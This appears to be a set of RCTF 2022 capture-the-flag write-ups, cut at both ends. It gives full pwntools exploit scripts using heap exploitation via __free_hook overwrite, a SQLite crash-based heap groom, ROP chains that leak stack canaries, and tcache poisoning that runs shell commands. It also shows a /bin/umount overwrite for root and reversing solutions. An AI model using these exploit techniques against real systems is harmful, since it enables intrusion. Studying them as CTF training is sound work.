# NX: NX enabled
# PIE: PIE enabled
# FORTIFY: Enabled
io = start()
IDX = 0
def do_menu(num: int):
data = str(num).encode()
io.sendlineafter(b"Choice: ", data)
def create_note(name):
global IDX
do_menu(1)
io.sendlineafter(b"Name: ", name)
curr = IDX
IDX += 1
return curr
def patch_note(idx: int, conts: bytes):
do_menu(3)
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Size: ", str(len(conts)).encode())
io.sendafter(b"Content: ", conts)
def show_note(idx: int):
do_menu(2)
io.sendlineafter(b"Index: ", str(idx).encode())
def upload(name, filename):
global IDX
if isinstance(filename, str):
conts = read(filename)
else:
conts = filename
idx = create_note(name)
patch_note(idx, conts)
return idx
CRASHING_POC = "WITH t0 AS ( SELECT 1 GROUP BY 1 HAVING ( WITH t0 AS ( SELECT count(DISTINCT c0 IN t1) ORDER BY 1 ), t2 AS ( SELECT 1 FROM t1 WHERE X'4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' IN t1 ) SELECT c0 FROM t0, t2 ) ) DELETE FROM t0 WHERE 1 IN t0;"
CRASHING_POC = """WITH t1 AS (
SELECT * FROM ( SELECT 1 ) UNION ALL VALUES ( 1 ), ( 1 ) ) SELECT (SELECT ( SELECT sum(DISTINCT c0 IN t2) ) FROM t1 ORDER BY 1
) FROM t0 GROUP BY 0xffffffff;"""
WRAPPER = f"""CREATE TRIGGER lmao BEFORE INSERT ON t0
BEGIN
{CRASHING_POC};
END;""".encode()
TEST_START = b'CREATE TABLE test'
TEST_END = unhex("23030617")
def patch_db(new_sql: bytes):
conts = read("./poc.db")
start_idx = conts.index(TEST_START)
end_idx = conts.index(TEST_END, start_idx)
old_len = end_idx - start_idx
log.info("len: 0x%x vs. 0x%x (diff: 0x%x)", len(new_sql), old_len, old_len - len(new_sql))
assert len(new_sql) <= old_len
new_sql = new_sql.ljust(old_len, b"\0")
patched = conts[:start_idx] + new_sql + conts[end_idx:]
write("./poc_patched.db", patched)
return patched
builder.create_loc()
builder.create_leaker()
builder.create_tester()
builder.create_simple()
builder.create_leak()
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
# poc_idx = upload(b"poc", "./poc.db")
MALLOC = "sm"
EDIT = "se"
GET = "ss"
FREE = "sd"
TMP_NOTE = b"tmp"
TMP_IDX = create_note(TMP_NOTE)
import secrets
def do_func(name, *args):
global TMP_IDX
argss = ", ".join(args)
sql = f"""CREATE VIEW test AS
SELECT ({name}({argss}));
"""
builder.create_db_sql(sql, "./tmp.db")
conts = read("./tmp.db")
patch_note(TMP_IDX, conts)
show_note(TMP_IDX)
def do_malloc(idx, size):
do_func(MALLOC, str(idx), str(size))
def do_free(idx):
do_func(FREE, str(idx))
def do_edit(idx, off, val):
do_func(EDIT, str(idx), str(off), str(val))
def do_get(idx):
do_func(GET, str(idx))
io.recvuntil(b"Content:")
conts = io.recvuntil(b"\n1. Create note", drop=True)
return conts
TARGET_SIZE = 0x130
GUARD_SIZE = 0x20
do_malloc(0, TARGET_SIZE)
do_malloc(1, TARGET_SIZE)
do_malloc(2, GUARD_SIZE)
do_free(0)
do_free(1)
leaked = do_get(1)
heap_addr = u64(leaked[:8])
log.info("heap_addr = 0x%x", heap_addr)
heap_base = heap_addr - 0x37f30
log.success("heap @ 0x%x", heap_base)
sec_addr = heap_base + (0x5555558a19d0-0x00555555869000)
first_addr = heap_base + (0x5555558a0f30-0x00555555869000)
unsorted_addr = heap_base + (0x55555587e120-0x00555555869000)
do_edit(1, 0, unsorted_addr-0x40)
log.info("Ok, we should now have overlap with an unsorted chunk -> can leak libc!")
do_malloc(3, TARGET_SIZE) # get rid of first one
do_malloc(4, TARGET_SIZE) # should have overlap here
leaked = do_get(4)
libc_addr = u64(leaked[0x48:0x50])
log.info("libc_addr = 0x%x", libc_addr)
libc.address = libc_base = libc_addr - 0x3ec410
log.success("libc @ 0x%x", libc_base)
log.info("Now we can overwrite free_hook")
freehook_addr = libc.symbols["__free_hook"]
log.info("freehoook @ 0x%x", freehook_addr)
TARGET_SIZE = 0x140
system_addr = libc.symbols["system"]
do_malloc(5, TARGET_SIZE)
do_malloc(6, TARGET_SIZE)
do_malloc(7, GUARD_SIZE)
do_free(5)
do_free(6)
do_edit(6, 0, freehook_addr)
do_malloc(8, TARGET_SIZE)
do_malloc(9, TARGET_SIZE) # this will be at freehook
do_edit(9, 0, system_addr)
log.info("Free hook was overwritten!")
do_edit(8, 0, u64(b"/bin/sh\0"))
log.info("Getting shell!")
do_free(8)
# log.info("Doing leak!")
# leak_idx = upload(b"lk", "./leaker.db")
# pause()
# show_note(leak_idx)
# log.info("Leaked:")
# io.recvuntil(b"Content:1, ")
# conts = io.recvuntil(b"\n1. Create note", drop=True)
# print(hexdump(conts))
# heap_addr = u64(conts[0xb8:0xb8+8])
# log.info("heap_addr @ 0x%x", heap_addr)
# heap_base = heap_addr - 0x148d8
# log.info("heap @ 0x%x", heap_base)
# log.info("Building pwn.db")
# fake_list_addr = heap_base + (0x5555558a6a58-0x00555555869000) # address of first sprayed!
# fake_expr = flat({
# 0x20: p64(fake_list_addr)
# }, length=0x48)
# fake_expr_addr = heap_base + (0x55555587d9a8-0x00555555869000)
# fake_item = flat({
# 0x0: p64(fake_expr_addr),
# }, length=24)
# fake_list = flat({
# 0x0: p32(1),
# 0x8: fake_item
# }, length=0x48)
# builder.create_db([fake_list, fake_expr], "./pwn.db")
# pwn_idx = upload(b"pwn", "./pwn.db")
# show_note(pwn_idx)
# if args.LOCAL:
# os.system("rm ./poc")
# poc_idx = upload(b"poc", "./leaker.db")
# pause()
# show_note(poc_idx)
# idx2 = upload(b"aaa", cyclic(1024))
io.interactive()
from pwn import *
import os
import tempfile
context.arch = "amd64"
TEMPLATE = """
CREATE TABLE t0(c0);
CREATE TABLE t1(c0);
CREATE TABLE t2(c0);
CREATE VIEW test AS
WITH t1 AS (
SELECT * FROM ( SELECT 1 ) UNION ALL VALUES ( 1 ), ( 1 )
) SELECT (
SELECT (SELECT (SELECT sum(DISTINCT c0 IN t2)) FROM t1 ORDER BY 1)
UNION
SELECT 1 from t2
WHERE {allocs}
) FROM t0 GROUP BY 0xffffffff;
"""
ALLOC_TMPL = """
X'{data}' IN t2
"""
def conv_chunks(chunks):
allocs = []
for chunk in chunks:
chunk: bytes
allocs.append(ALLOC_TMPL.format(data=chunk.hex()).strip())
return " AND ".join(allocs)
def templ_sql(chunks, extras=[b""], adds=[b""]):
return TEMPLATE.format(allocs=conv_chunks(chunks))
def create_db_sql(sql, filename):
with tempfile.NamedTemporaryFile("w+t", suffix=".sql") as sql_f:
sql_f.write(sql)
sql_f.flush()
log.info("Temporarily stored at %s", sql_f.name)
if os.path.exists(filename):
os.unlink(filename)
os.system(f"sqlite3 {filename} < {sql_f.name}")
# input()
def create_db(chunks, filename, extras=[b""], adds=[b""]):
sql = templ_sql(chunks, extras, adds)
create_db_sql(sql, filename)
def fake_expr(list):
return flat({
0x20: p64(list)
}, length=0x48)
def create_leaker():
chunks = [
b"A"*0x48, # pop first in tcache
fake_expr(0x0)# this will overwrite expr!
]
create_db(chunks, "./leak.db")
def create_loc():
chunks = []
for i in range(5):
chunks.append((bytes([0x41+i])*0x48))
create_db(chunks, "./loc.db")
def create_simple():
create_db([b"A"], "./simple.db")
def create_tester():
create_db(
[b"A"*0x48], "./tester.db",
[b"B"*0x48],
[b"C"*0x48]
)
def create_leak():
sizes = list(range(0x20, 0x150, 0x10))
sizes += [0x40, 0x100, 0x400, 0x100, 0x400]
sizes = [0x100]
vals = []
for size in sizes:
val = b"B"*0x1 + b"\0"*(size-1)
vals.append(f"(X'{val.hex()}')")
create_db_sql(f"""
PRAGMA encoding = "UTF-16le";
CREATE TABLE test (
id integer primary key autoincrement,
content string
);
INSERT INTO test (content) VALUES {', '.join(vals)}
""", "./leaker.db")
if __name__ == "__main__":
create_leaker()
create_loc()
create_simple()
First we see is that it's a basic webserver and we can login, query, show history and logout - if we can guess 8 random bytes. There's a bitfield which keeps track of the logged-in ips. The check if the ip address is in the bitfield only checks for the upper end though, so we can just write below that range, allowing us to overwrite data if we can set/clear bits we want.
The struct in the bss contains along the bitfield of logged in ips, pointers to usernames (118 of them), a bunch of empty space (probably due to actually having space for more than 118 username pointers, but only 118 should ever be used). It also contains the amount of addresses and the 8 random bytes. We can log in however we want, which unsets bits, which means we can just log in to overwrite the random bytes to all nulls, which will allow us to log out as well - and set bits (Which inside the bss is more useful than clearing them).
We also could've used the query function to figure out the random bytes instead - but I guess it will end up the same.
The query and history methods require passwords which are calculated in a weird way, but copying all the sboxes for the nibbles it is easy to reverse the encryption and get the password RCTF2022
and 1L0V3ctf
.
Now with the ability to write anything we want, we set the first username pointer to be an address we want to read from, then used history to print all the usernames, and then taking the first 8 bytes will give us the value at the desired address. Which allowed us to leak the stack (using libc environ, getting libc's base address from the got, and the pie base from the query function using the convenient pointer which points to itself in the data section). From the stack we can leak the canary. Next we set up some pointers in the struct (In the unused area) which point to further into the unused area, where we set up (surprise tools that will help us later) values. The pointers need to be at the correct offsets in the struct, such that when copying from those addresses into the 1024-byte big send buffer we overflow the return address and manage to rop.
Then we fill the 118 values to not accidentally read from 0 and segfault, then set the number of users to a higher value than 118 and then query the history. This will then give us control over RIP as we overflow the sendbuffer and can rop. Since setting up these pointers and values is relatively slow we want this to be small. Since we have a seccomp filter we can't just execute sh and win, but we actually have to rop our way to read the file. I ropped a read to the stack pointer, to have a longer rop read in, but then in the second stage I realized there's a function to send all the data from a fd, so we just have to call open and then jump there (it will crash quickly if we have a wrong rbp, but it will keep running if we set it correctly).
And it turns out that this ropchain is actually shorter than the read ropchain, but well, it's already there. I also had quite a bit of trouble to run it against the server as there was quite a bit of delay and while the exploit worked locally reliably in under 10 seconds it timed out every single time. So I first had to optimize a bit (not reading the full 64 bits to leak stuff for example, only set bits, don't clear them, as we're in the bss and everything's 0 anyway, …), and even after that it only barely managed to work, but anyway, here's the full script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 139.9.242.36 --port 7788 ./rserver
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./rserver_patched')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '139.9.242.36'
port = int(args.PORT or 7788)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, aslr=False, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, aslr=False, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x2533+0x0000555555554000
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
io = start()
bitfield_addr = 0x92C0 + 0xa98
rand_bytes_addr = 0x92C0 + 0x10
addr_addr = 0x9008
write_addr = 0x8EF8
def num_to_ip(ip):
address = (256**3 * 10 + 256**2 * 12 + 256 * 31) + ip
octets = [(address >> (i*8))&0xff for i in range(3,-1,-1)]
return f"{octets[0]}.{octets[1]}.{octets[2]}.{octets[3]}"
def history(extra=b""):
io.send(b"GET /history.html?PassWord=RCTF2022\r\nHost: 10.12.31.1\r\n\r\n"+extra)
io.recvuntil(b"History")
io.recvuntil(b"</h1>\n")
return io.recvn(8)
def query(ip):
ip = num_to_ip(ip)
io.send(f"GET /query.html?PassWord=1L0V3ctf\r\nHost: {ip}\r\n\r\n".encode())
io.recvuntil(b"Query Success")
io.recvuntil(b"<h1>")
return b"Not logged in" in io.recvuntil(b"</h1>")
login_counter = 0
def login(ip, username):
global login_counter
ip = num_to_ip(ip)
io.send(f"GET /login.html?UserName={username}\r\nHost: {ip}\r\n\r\n".encode())
io.recvuntil(b"HTTP")
if b"200" in io.recvuntil(b"\r\n"):
login_counter += 1
def logout(ip):
ip = num_to_ip(ip)
io.send(f"POST /logout.html\r\nHost: {ip}\r\nContent-Length: 8\r\n\r\n\x00\x00\x00\x00\x00\x00\x00\x00".encode())
io.recvuntil(b"HTTP")
def r64(bit_offset):
address = 0
with log.progress("Leaking") as p:
for i in range(12,48):
p.status(f"Leaking bit {i}/48")
address |= query(bit_offset + i) << i
return address
libc = ELF("./libc.so.6")
print(libc.plt)
bit_offset = (addr_addr - bitfield_addr) * 8
exe.address = r64(bit_offset) - addr_addr + 8
bit_offset = (write_addr - bitfield_addr) * 8
libc.address = r64(bit_offset) - (libc.sym.write&~0xfff)
info("Leaked ASLR: 0x%x, libc: 0x%x", exe.address, libc.address)
for i in range(64):
login((rand_bytes_addr - bitfield_addr) * 8 + i, "a")
io.recvuntil(b"\r\n")
num_addresses_addr = 0x92c0 + 0x8
logout((num_addresses_addr - bitfield_addr) * 8 + 30)
def abs_r64(target_ptr):
for i in range(48):
dst_offset = (0x18 - 0xa98) * 8 + i
if target_ptr & (1 << i):
logout(dst_offset)
else:
login(dst_offset, "a")
leak = u64(history())
return leak
def w64(num, offset):
for i in range(64):
dst_offset = (offset + 0x18 - 0xa98) * 8 + i
if num & (1 << i):
logout(dst_offset)
else:
login(dst_offset, "aaaaaaaa")
def w64_1(num, offset):
for i in range(64):
dst_offset = (offset + 0x18 - 0xa98) * 8 + i
if num & (1 << i):
logout(dst_offset)
def w32(num, offset):
for i in range(32):
dst_offset = (offset + 0x18 - 0xa98) * 8 + i
if num & (1 << i):
logout(dst_offset)
else:
login(dst_offset, "aaaaaaaa")
def w32_i(num, offset):
for i in range(32):
dst_offset = (offset + 0x18 - 0xa98) * 8 + i
if num & (1 << i):
logout(dst_offset)
stack_addr = abs_r64(libc.sym.environ)
stack_addr += 0x00007fffffffcc40 - 0x00007fffffffda58 + 0xcc8
info("Leaked stack: 0x%x", stack_addr)
canary = abs_r64(stack_addr)
info("Leaked stack canary: 0x%x", canary)
w64_1(u64(b"/flag\x00tx"), 8*198)
w64_1(canary, 8*200)
w64_1(stack_addr + 8, 8*201)
w64_1(libc.address + 0x001bb317, 8*202) # pop rsi
w64_1(stack_addr - 0x1618, 8*203) # rsp
w64_1(libc.address + 0x001bc021, 8*204) # pop rdi
#w64_1(0, 8*205) # stdin
w64_1(libc.sym.read, 8*206)
i = 0
while login_counter < 110:
login(i, "a")
i += 1
w32(0, -12)
with log.progress("setting up ptrs") as p:
for i in range(login_counter,122):
p.status(f"{i} / 122")
w64_1(exe.address+8, 8 * i)
with log.progress("setting up ptrs") as p:
for i in range(20):
p.status(f"{i} / 20")
w64_1(exe.address + 0x92c0 + 0x18 + 8 * (200 + i), (122 + i)*8)
w32_i(121+15, -12)
history()
POP_RDI = libc.address + 0x001bc021
POP_RSI = libc.address + 0x001bb317
POP_RDX_RBX = libc.address + 0x00175548
payload = b""
payload += p64(POP_RDI)
payload += p64(exe.address + 0x92c0 + 0x18 + 8 * 198)
payload += p64(POP_RSI)
payload += p64(0)
payload += p64(libc.sym.open)
payload += p64(exe.address + 0x2533)
payload += p64(libc.address + 0x0000000000029cd6) # ret
payload += p64(libc.sym.exit)
io.send(payload)
io.interactive()
And the flag: RCTF{4c7663ca7d73d58fe2f10b6fbeef27f1}
TL;DR:
car->cost / 2 + car->performance * 2
performance
is only uint8
.Exploit script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 190.92.239.230 --port 8888 SpeedGame
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./SpeedGame')
context.terminal = ["tmux", "split", "-h"]
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '49.0.206.171' #'190.92.239.230'
port = int(args.PORT or 9999)#8888)
if args.SEC:
host = '190.92.239.230'
port = 8888
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
# tbreak main
# continue
set $game = (game_t*)0x55555555e2a0
'''.format(**locals())
def do_prompt(data: bytes):
io.sendlineafter(b"> ", data)
def do_menu(num: int):
data = str(num).encode()
do_prompt(data)
def do_store(inside_store):
do_menu(3)
inside_store()
do_menu(5)
def buy_goods(name, car=None):
def buy_goods_s():
do_menu(1)
do_prompt(name)
if car is not None:
do_prompt(car)
do_store(buy_goods_s)
def sell_goods(name):
def sell_goods_s():
do_menu(2)
do_prompt(name)
do_store(sell_goods_s)
def read_money():
do_menu(2)
io.recvuntil(b"Money: ")
mon = io.recvuntil(b"Cars:", drop=True)
money = int(mon)
return money
def fix_car(name):
def fix_car_s():
do_menu(3)
do_prompt(name)
do_store(fix_car_s)
def fetch_car(name):
def fetch_car_s():
do_menu(4)
do_prompt(name)
do_store(fetch_car_s)
CAR_NAME = b"A"
CAR_NAME_SEC = b"B"
TARGET_CAR = b"NormalCar"
FLAG_PRICE = 10000
FLAG_PRICE += 200 # some extra just in case
if args.LOCAL:
FLAG_PRICE = 1000+100
NUM_RACE = (FLAG_PRICE+100)*10//2
io = start()
# preallocate second car
buy_goods(TARGET_CAR, CAR_NAME_SEC)
buy_goods(TARGET_CAR, CAR_NAME)
sell_goods(CAR_NAME_SEC)
sell_goods(CAR_NAME)
def steal_money():
# not too much, in case we overflow
num_race = 200*10
buy_goods(TARGET_CAR, CAR_NAME)
with log.progress("It is called motor racing") as p:
send_buf = (b" "*7)+(b"1")+b"q"
for i in range(num_race):
p.status("Current race %d/%d", i+1, num_race)
# manually prepared send buffer
# io.sendafter(b"> ", send_buf)
io.send(send_buf)
# do_menu(1)
# # io.send(b"q") # immediately quit
# time.sleep(0.005)
# io.send(b"q")
# io.recvuntil(b">")
# io.unrecv(b">")
io.sendline(b"2")
io.recvuntil(b"Money:")
sell_goods(CAR_NAME)
curr_mon = read_money()
with log.progress("Cheating...") as p:
while curr_mon < FLAG_PRICE:
steal_money()
curr_mon = read_money()
p.status("Current progress: %d/%d", curr_mon, FLAG_PRICE)
log.info("Have enough money for the UAF now!")
context.log_level = "debug"
buy_goods(TARGET_CAR, CAR_NAME)
# pause()
# io.interactive()
fix_car(CAR_NAME)
buy_goods(TARGET_CAR, CAR_NAME_SEC)
buy_goods(b"flag")
log.info("triggered cheat detection, UAF now!")
# pause()
log.info("Retrieving UAF'd car")
fetch_car(b"") # empty name, since ->next is NULL
# io.interactive()
log.info("Allocating a second car, then freeing it so ->next not empty anymore!")
buy_goods(TARGET_CAR, CAR_NAME_SEC)
log.info("Reallocating so we have the same chunk twice in the car list!")
buy_goods(TARGET_CAR, CAR_NAME)
sell_goods(CAR_NAME_SEC)
log.info("freeing again, to have an easy leak!")
sell_goods(CAR_NAME)
log.info("Leaking heap base...")
do_menu(2)
io.recvuntil(b"CarName: ")
leaked = io.recvuntil(b" Fuel:", drop=True)
heap_leak = u64(leaked.ljust(8, b"\0"))
log.info("heap leak @ 0x%x", heap_leak)
# heap_base = heap_leak - 0xd000
# if (heap_leak & 0xfff) < 0x100:
# log.info("small")
# heap_base -= 0x2000
# elif (heap_leak & 0xfff) == 0xe10:
# log.info("Large")
# heap_base -= 0x1000
# else:
# heap_base += 0x1000 # ???
pause()
heap_base = heap_leak
heap_base = heap_base & 0xfffffffffffff000
log.success("heap @ 0x%x", heap_base)
game_addr = heap_base + 0x2a0
log.info("game @ 0x%x", game_addr)
win_times_addr = game_addr + 0x90
log.info("First get rid of fixed status")
fix_car(leaked)
fetch_car(leaked)
log.info("->key is now different, so we can put it in the tcache again!")
sell_goods(leaked)
log.info("We now have it twice in tcache!")
pause()
log.info("Buying another car, this time setting the tcache->next ptr")
next_name = p64(win_times_addr)[:7]
buy_goods(TARGET_CAR, next_name)
pause()
log.info("The next car, is just to remove the second time its in the cache")
buy_goods(TARGET_CAR, b"lmao")
pause()
log.info("Buying another car, this time hopefully setting win times!")
win_times_name = p32(1000)
buy_goods(TARGET_CAR, win_times_name)
buy_goods(b"flag")
io.interactive()
There's a stack, libc, and pie leak in the stat_query command, as it sends a fixed amount of chars back and the thing it sends is on the stack, just before the return address of main.
Next there's a double free, since the pointer is not set to null, sadly the libc version (being 2.27, so pretty old) actually detected that. But no worries, there's still a UAF, as we can edit the password - which is exactly 8 bytes at offset 0 (what a coincidence…)
So now we just need a heap leak and we can create an account, delete it, log in with the heap address as password (As next pointer pointing to the tcache struct). Then we edit the password, alloc again, then again and we should get a chunk at the address we just wrote, so we just set the password to the address of malloc hook (which still exists), then allocate a new chunk, set the password there to the address of system, free a prepared account with password/account number set to a command we want to execute and we should get the flag.
This only worked if we had a heap leak though, so we figure we would just try values from the pie base in increments of 0x1000, this worked locally pretty fast and we get a command to execute (We also had to debug that a bit as we didn't get output/input over the normal fds and instead had to pipe it into fd 4). Since there was no login-try limit / timeout we figured this was intended and tried that on the remote, but there it seemed that the heap was a bit further away (it turned out to be over 0x100000 bytes away), which turns out to be wrong and after looking at the other commands I didn't look at - as there were no bugs according to other people - there was an easy heap leak in the query command. So, we're sorry for all the login requests (but it will happen again, as we're pretty blind)
libc = ELF("./libc.so.6")
from ctypes import CDLL
cdll = CDLL("./libc.so.6")
io = start()
seed = u32(io.recvn(4))
cdll.srand(seed)
s = "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy"
chars = "0123456789abcdef"
h = "".join([i if i in "4-" else (chars[cdll.rand()%15] if i == 'x' else chars[(cdll.rand()%15)&3|8]) for i in s])
io.send(h.encode())
ERROR = 0
SUCCESS = 1
RETRY = 2
def send_msg(op, pw=b"", accid=b"", money=0):
op += b"\x00"*(16-len(op))
pw += b"\x00"*(8-len(pw))
accid += b"\x00"*(32-len(accid))
msg = op + pw + accid + p32(money)
assert len(msg) == 60
io.send(msg)
def recv_msg():
status = u32(io.recvn(4))
msg = io.recvn(128)
return status, msg
code, status = recv_msg()
assert code == SUCCESS
send_msg(b"stat_query", b"a"*8, b"a"*32, 2**31)
code, status = recv_msg()
for i in range(128 // 8):
info("Stuff on the stack: 0x%x", u64(status[i*8:i*8+8]))
cookie = u64(status[8:16])
exe.address = u64(status[16:24]) - 0x2130
libc.address = u64(status[24:32]) - 231 - libc.sym.__libc_start_main
stack_ptr = u64(status[40:48])
info("Got all the leaks: cookie: 0x%x, aslr: 0x%x, libc: 0x%x, stack: 0x%x", cookie, exe.address, libc.address, stack_ptr)
cmd = b"/bin/sh -c 'cat flag >&4'"
# create victim accc
send_msg(b"new_account", b"a"*8, b"a"*32, 0)
recv_msg()
send_msg(b"exit_account")
# create acc 2
send_msg(b"new_account", b"b"*8, b"b"*32, 0)
recv_msg()
send_msg(b"exit_account")
# create acc 3 with cmd (just temporary to have the cmd in an allocd block)
send_msg(b"new_account", cmd[:8], cmd[8:], 0)
recv_msg()
send_msg(b"exit_account")
# log into victim
send_msg(b"login", b"a"*8, b"a"*32, 0)
recv_msg()
# free victim
send_msg(b"cancellation", b"a"*8)
recv_msg()
if False:
# Leak the address...
addr_guess = exe.address + 0x10
while True:
send_msg(b"login", b"a", p64(addr_guess)+b"a"*24, 0)
code, status = recv_msg()
if code>0:break
addr_guess += 0x1000
print(hex(addr_guess))
exit(0)
else:
addr_guess = 0x5601cb1b2010
# log in as b
send_msg(b"login", b"b"*8, b"b"*32, 0)
recv_msg()
# free b
send_msg(b"cancellation", b"b"*8)
recv_msg()
# log in as a with the tcache address
send_msg(b"login", b"", p64(addr_guess)+b"a"*24, 0)
recv_msg()
# set the next pointer to free hook
send_msg(b"update_pwd", p64(libc.sym.__free_hook))
recv_msg()
send_msg(b"a", b"")
recv_msg()
# re-alloc victim chunk, popping the next pointer
send_msg(b"exit_account")
send_msg(b"new_account", b"c"*8, b"c"*32, 0)
recv_msg()
# get b (leftover from the double-free attempt)
send_msg(b"exit_account")
send_msg(b"new_account", p64(libc.sym.system), b"d"*32, 0)
recv_msg()
send_msg(b"exit_account")
# Now write system to the free hook
send_msg(b"new_account", p64(libc.sym.system), b"x"*32, 0)
recv_msg()
send_msg(b"exit_account")
# log in as our cmd account and then free => system(cmd)
send_msg(b"login", cmd[:8], cmd[8:], 0)
recv_msg()
send_msg(b"cancellation", cmd[:8])
io.interactive()
unintented solution, /bin
is writable
rm /bin/umount
echo "cat /flag" > /bin/umount
chmod +x /bin/umount
exit
When exiting, root will execute /bin/umount
, which gives us flag
RCTF{448c1ed5da862e22be9c1b4c95c}
See the other hackmd
We get an apk, analyzing the main application, we see that it loads a function from a native library and then calls the ooxx function to check for the correct flag. In the native library we can find the functions easily by looking for the methods with the name "Java…" Looking at the ooxx method reveals that there are a bunch of weird calls and strcmps with strings that don't look like strings. But when looking where those strings are also accessed, we find certain datadiv_decode methods, which xor every single string with a (different) constant. After decoding the strings we see that many of the calls are just anti-debugging and anti-frida techniques, which don't bother me, as I'm statically reversing this thing.
we see, that the final value is compared to eRRqdUxQWENUbWVmbTZtZlg4bmFxQg
. We also see that there is a custom base64 alphabet (+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD
) and a base58 alphabet. Sadly this turned out to be a red herring and the actual function was overwritten in JNI_OnLoad and we're actually inside sub_8965. Inside that we do have a very similar setup and we check for the value of SVTsfWzSYGPWdYXodVbvbni6doHzSi==
, but we have an additional step before the base58 encoding, which is aes encryption with the stati key goodlucksmartman
. Decrypting gives us the flag flag{rtyhgf!@#$}
Cool a statically compiled stripped binary!
Anyway there's a bunch of strings about unicorn in there, so i open up examples of unicorn and figure out that it's creating a unicorn struct, with a x86_64 emulator. Then it maps some code into it as well as our input. Next it hooks syscalls and finally executes the code in the emulator. The syscall hook sets a global flag to one if the syscall number (RAX) was one. Also it seems that the hook reads all the syscall registers but only looks at rax, which is kinda weird. Anyway, if the syscall is exit, then we set the flag to false, if the syscall is write we set it to true.
After the emulator finishes we put our input string into a function which checks that it solves a maze (our input being asdw
directions). Here is the maze:
* *********************
* * * * *
* * * * *** * *** * * *
* * * * * * * *
* * * ********* * *** *
* * * * * * *
* * ***** * * ***** * *
* * * * * *
*** * * *** * *** *** *
* * * * * * * *
* *** *** * * * *** *
* * * * * * * *
* * * * *** * ***** * *
* * * * * *
* *********** *** * * *
* * * * * *
* ********* ********* *
* ** *** * * *
* * **** ** ***** * *
* * * * * * *
* * * * * ***** ***** *
* * * *
********************* *
As we can see, there's a bunch of ways to take to get from the start (top left) to the end (bottom right). After that it checks that we passed the maze and the flag from the syscall handler was set to true (So we executed the syscall instruction). So we had to figure out what happens in that code. Looking at the first code it executes it just loads some registers and then enters a self-modifying loop, which loads depending on our input a 64-byte long xor-key and xors it over the code. So I wrote a script that does a dfs on the maze by modifying the code, using pwntools' disasm to get the new xor-keys (or if there's a wall, if we jump to exit). And it turns out we have a second maze:
* *********************
* * * * *
* * * * *** * *** * * *
* * * * * * * *
* * * ********* * *** *
* * * * * * *
* * ***** * * ***** * *
* * * * * * * *
*** * * *** * *** *****
* * * * * * *****
* *** *** * * * *******
* * * * * * ***
* * * * *** * ***** ***
* * * * * ***
* *************** * ***
* * * * ***
* ********* ***********
* ****** * ***
*** ****** ** ***** ***
* * ****** * * *
* * *********** ***** *
* *********** *
********************* *
Since the controls are the same we need to overlay them and then solve the resulting maze, which gave me two solutions, i first tried the longer one (because the hint was not published yet)
sssssssddwwwwwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds
but since that did not work, I also tried the second, shorter one: sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds
, which gave me the flag RCTF{e1f9e3d166dcec5ecff3a2c5fbdeab3b}
This is an easy wasm reversing task. I first analyzed the binary in ghidra and when I saw that it denies you access for time 202211110054
I patched that jump to be negated (so it only lets us in if it's that time), then next I entered the time, set a breakpoint in the chrome wasm debugger, copied the data from memory, entered it and got the flag RCTF{40959ea7-26e0-4c9d-8f4a-62faf14ff392}
A rust vm, we can enter commands (to upload data, to upload code, to execute code or to view data). It also seems to be doing some stuff in base131, but I ignored that part, as all I had to do in this outer thing is to get something to run in the inner vm with the flag in the data (The flag gets loaded into the data vector at index 0, our first code we upload will also have index 0).
Because if the flag is in our data we can load it and we can do an error-based leak, where we load a byte from the flag, then subtract a constant, then divide one by the result. If nothing happens we can try the next value, if the constant however was the same as the flag byte we will crash because of a division by zero error (Thanks rust). So the main challenge was getting the program to execute, but it wasn't too bad, we first have to send it the constant p64(0x5BF3899C66D10202)
